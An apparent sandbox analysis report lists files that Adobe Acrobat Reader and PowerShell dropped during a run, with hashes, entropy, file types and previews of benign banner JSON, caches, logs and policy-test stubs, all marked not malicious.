SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfFldPeUkwRe9:YvXKXBdFmDXTsdTeOCXGz8Ukee9
MD5:	6EEF5D5F73AB709BEC3879216A754EB4
SHA1:	1A5B3E9DC554594D31D810D620D026040C52F4A4
SHA-256:	D6850897635E04964F68D25E2A752C054FB71104B8C0A0998A173DE1C62BCCCB
SHA-512:	B2493C9826B0548E32C5D5A15BF9F3C76E0D69431671FBC7345B3C1EF3BAEC60DE9240CE0F631913BADC752ACEDBBA6B3C15BCFEBB703722D93A496B2670D94E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327824771774084
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfzdPeUkwRe9:YvXKXBdFmDXTsdTeOCXGb8Ukee9
MD5:	AAAC06855E7363941470C466D97C4036
SHA1:	D5399B1BCB6FF9D8C5BCAD4DBB9786B7EAD4763D
SHA-256:	A89071FC7B3F3C248736A4D3633F20FD4941D46683FEA597B42A9FCB377A756D
SHA-512:	BC69FFDEF3F564F5A5DB3E41084FEF583854D00DB6F318872277D0074EC53C6AC43858552A6EA6754E450CD23404463B5CDFBF8ABE54CA71D9BA371808A8A78B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308350360505153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfYdPeUkwRe9:YvXKXBdFmDXTsdTeOCXGg8Ukee9
MD5:	1A56CEC22B09D1EC4BC445BB630D4B0D
SHA1:	1A3840CCC66D8303DDAEE7FA16364618292AD457
SHA-256:	E1C26180B6BCC2A3C4DA8C2DF44A67FBB763A8FBE361509CE620C3D0A4061568
SHA-512:	085A605F33F32352E0D5BA4DC1704D21029A836639B747C040BA1A91DED952E2A3A392CAB68421DBF91BC2D5682DA3A670B87EDC9BFF67CF6451744719233135
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29539658770686
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJf+dPeUkwRe9:YvXKXBdFmDXTsdTeOCXG28Ukee9
MD5:	13D33FC29B2CD7F724EE5A62918DBB2C
SHA1:	78FBFD94ADC0BD4D1C38C0F9F1EAC4DE9D962E5A
SHA-256:	CBF5F35673FC780DD27BDD21033D550C6549EBFEB90AE9B02FA8AD4CC1D8BB0E
SHA-512:	E6422BD0B173B694FCD0FF8BD5ADECF5C593744C77ABAEA296416BC7E790F62E2471F5C8D8696D9FD770FB4A5BF2F8AF456F01C47E9A0DA90C020C98DC6D2DA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2918400673851655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfbPtdPeUkwRe9:YvXKXBdFmDXTsdTeOCXGDV8Ukee9
MD5:	52CFBA3FA14FC4817E7D174AAF0FBC7F
SHA1:	4A8FC0E2BEBCBC02EA8CF9417A45BA5855F7B1F2
SHA-256:	235D2DC5BF5E3C517197915D44FECF639863280AD14C07897EE73739D8AD8B3D
SHA-512:	2F996FEB6326A23EC26182019A7D5295A52EEF2F523F86FF5212EB2985602A2D5431F1B764DD91DE1E3B8B4C2EF403B59A8A6C31C16A869398CE530A5DCF25A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29629272086969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJf21rPeUkwRe9:YvXKXBdFmDXTsdTeOCXG+16Ukee9
MD5:	C4F6735BAB58E3F7D70A3BA8DC36CC94
SHA1:	327BB0458DA60BAF251F127E607342ED5D39A58F
SHA-256:	2697271B808730973A69E4A5449860DA92AA831968389D5801CB651DBC9420B4
SHA-512:	0D9B9D36A4A457C1607908C78B08F3E0627E1367144B7456473F884881D0EFDF8DB216D56B055A96E1259C42D912F582014F2A524256EDDFCED1BEB8F37BC230
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665675313373675
Encrypted:	false
SSDEEP:	24:Yv6XBEXTmeOVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd:YvEEiekBgkDMUJUAh8cvMd
MD5:	C519A4C0D5F646E0EEF54310404DF076
SHA1:	A37D6517C436E71163BC972289CBFC6655F6C980
SHA-256:	75EF10F2F143C845FCC6A6F446ECC35B266680590FDA61D71362B492EC020AC7
SHA-512:	FE85B46B1F83B4290A8ABD741FAD0E7A1AB5154F5201C13E104669C5D6F913731FA1726F4518902ECBE6D845E9BFEAE83F0702776EF56048D4B994961B666F59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272823852946569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJfshHHrPeUkwRe9:YvXKXBdFmDXTsdTeOCXGUUUkee9
MD5:	86AF9BD372D14F8486E90D80F5147AB8
SHA1:	8DF610675CF27904C9455672AB48969B27060813
SHA-256:	2FFBC8BC1259B4D4266F926C05BFA3068D85F79552AD8188DB254AB8BBE0818F
SHA-512:	80F269E975E5F0A86A12CBE5ED627C1A6983155A25233555E420B834AC414F3BF96A5B7CD5FC7B76BC5B52F92B9EB5594E3ACA3A07F78414FBDA00399C78910E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2938876084439555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBWWhTIJQWXP4WsGiIPEeOF0YUnkoAvJTqgFCrPeUkwRe9:YvXKXBdFmDXTsdTeOCXGTq16Ukee9
MD5:	871C0F93C00FD07899CD4552B8E6DB5F
SHA1:	D23D7DC8F617DA2D93D5FD402B09E05B9896978E
SHA-256:	BEE65AB3B923421610BC4EA500B902849EDD1453526CD61CC68D4DB097CF5799
SHA-512:	A31509C3D276FE854BB9DA0600651980E0FE7224D48AB0928898F412220D6A9AE1AE738841A9A6454ABCCDAC4F5A5D6DB0E27AE4ED0AE8BBB0E2220DE1912A76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"63d270ba-bb6f-448b-bfe2-c873e1ed5e89","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736728938512,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13992344717471
Encrypted:	false
SSDEEP:	24:YODkFnaJayMkQJJo4kqz+YeHfFvjFu4wcjZfj0SuSJ+cCx/2C2LSuMCb+Nd84BMt:YTlSnH6UZrD+c6/51aMMe9qsdFe9Z
MD5:	4735E2711F01AB22EAA98E8476E38FBA
SHA1:	6B5B149840D7513F85E8AAFB6F441546B2F1B920
SHA-256:	B66EF4DBCE5B4B3C6EC6185F3E5B5A740948B918503BAFAC47BD8A2A52E2552E
SHA-512:	8A88B30B40F2FCFF3D09653C580ACEE41FA847A94892469FB8CF65E73D4A80E8A4DDB2A191F368D0B5B2D15664F850F80912D8BE1EE36BA7F430F81C822D5FB9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d03ad5a945c33946a4ecb81d573d2c1f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549748000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f10913554234b44cd209941706d37013","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549748000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"02f02a2b6fee5cb3cb5f2df0b38a4e55","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549748000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5a40701e1d81507440d225542369c0dc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549748000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0c2cfa149d02747f347091dd8613d29f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549748000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"35df3927f42b911497b76ffb7837b101","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4540165298513756
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsaUGslEUG2:lNVmsw3SHtbDbPe0K3+fDZdU
MD5:	59FF1A989B6FADCEF59B01FA855C0ECB
SHA1:	838E2DAABB7BAEC44B82572021F03B999ED5AA53
SHA-256:	55DB8B8414F0F0E5B43B52D624628D3331D41475BB077640E473EC51D46AC151
SHA-512:	EC09702036B1D3337D4D03052EFF9AB0C8A92063723BA953FA84AF1DF1B6818733A7BB74F0EEE8C08D8CE7FFB1250EF8D097441B4F91D8A6B848CDC38CC78EBA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9591852095442708
Encrypted:	false
SSDEEP:	48:7M/drvrBd6dHtbGIbPe0K3+fDy2dsaUGp2qFl2GL7ms/:7y13SHtbDbPe0K3+fDZdCKVms/
MD5:	752E876EBD229B0C394D752B567FAC5A
SHA1:	A84CA70614FA4770674764E31FE9AA2A82F0AC35
SHA-256:	6F4798F64E97E9CDEFDBD21B01228EB6B127C9609115BE606A9D9BDACE1E45F2
SHA-512:	0BD08F0DDF3EB2270E1209D27C9FD5AC506119CDAE640EC93DA431D2747CB925F14E062A7043B230F3B2CA434E63BD10527118B1652F04DE1A9FA05457B688B1
Malicious:	false
Preview:	.... .c........&......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguedauDKQzdJUuc4fGpY1yjHTgYyu:6a6TZ44ADEuedFD7z/UmyrEK
MD5:	7E6CFFBB9731DB30785585EF8A2A42A2
SHA1:	CC8B43D978A8BDCB6C8F98F6F7AB39A061A7E10F
SHA-256:	D1C12FE0DEEB2D344E18171AFE990A1AC6F36CFC51FC78D3EF06727E31684964
SHA-512:	82194217488F41FC9B61FE8C4FBF9622EFBA4A013267AB172BF8006B333D140F88E78216226C072A50B3BC9E172A0B560655944B68FA4D73ABDF99D5CD152423
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI5b2e5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.518261198325562
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEMcN9:Qw946cPbiOxDlbYnuRK+bDdH
MD5:	E6DA9AEFE43A1148F28F2912CCC0CC1E
SHA1:	BBE62DA0CBD8FFA2B68986F5182C5573945A149A
SHA-256:	AE4B9156E8C3BD15D55BF3DB35AF1E075C9043D2D0C777FEDA10D648FA58CE93
SHA-512:	1CF35899599E8521931C8DEDEF40EFAA63389574F8EE60E8D6E1D1BBAD81E2333D391DA2CC11E4569902367AC558CB7851915B61944DA7A620BA6537E5E04147
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.5.5.:.4.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dv1yekmm.xru.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_epigfxdy.t30.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91aht9kp_1puu4hl_3y0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-55-43-393.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.333939636135918
Encrypted:	false
SSDEEP:	384:I2c+FLQLjY1PoCMMf2AwlbMk4XuPrimtp6PrdOyUpMA97jphryIB7G7iHN/Oe7LR:0uK
MD5:	23D02B343BE66778618BFDA462CDEAFF
SHA1:	EEF8DC3F8DBF2CD247F42384FE26D65075CBFEBE
SHA-256:	FA8121768F27C05D064DA935C032FA69BD5CE3D8C26EE4824AFC6D15BA0C9051
SHA-512:	121050FA6714AF428BF818CFB914FFCBFC953F28911125BEEE4DE9758450EBDF8894D36DC3F2CA97B53DE215731C397EED301B2E93FFAA0AC4E495433FFEC4EE
Malicious:	false
Preview:	SessionID=e54131dc-fd04-4708-bdd3-78147bbd285e.1736549743433 Timestamp=2025-01-10T17:55:43:433-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e54131dc-fd04-4708-bdd3-78147bbd285e.1736549743433 Timestamp=2025-01-10T17:55:43:434-0500 ThreadID=8004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e54131dc-fd04-4708-bdd3-78147bbd285e.1736549743433 Timestamp=2025-01-10T17:55:43:434-0500 ThreadID=8004 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e54131dc-fd04-4708-bdd3-78147bbd285e.1736549743433 Timestamp=2025-01-10T17:55:43:435-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e54131dc-fd04-4708-bdd3-78147bbd285e.1736549743433 Timestamp=2025-01-10T17:55:43:435-0500 ThreadID=8004 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406696653267668
Encrypted:	false
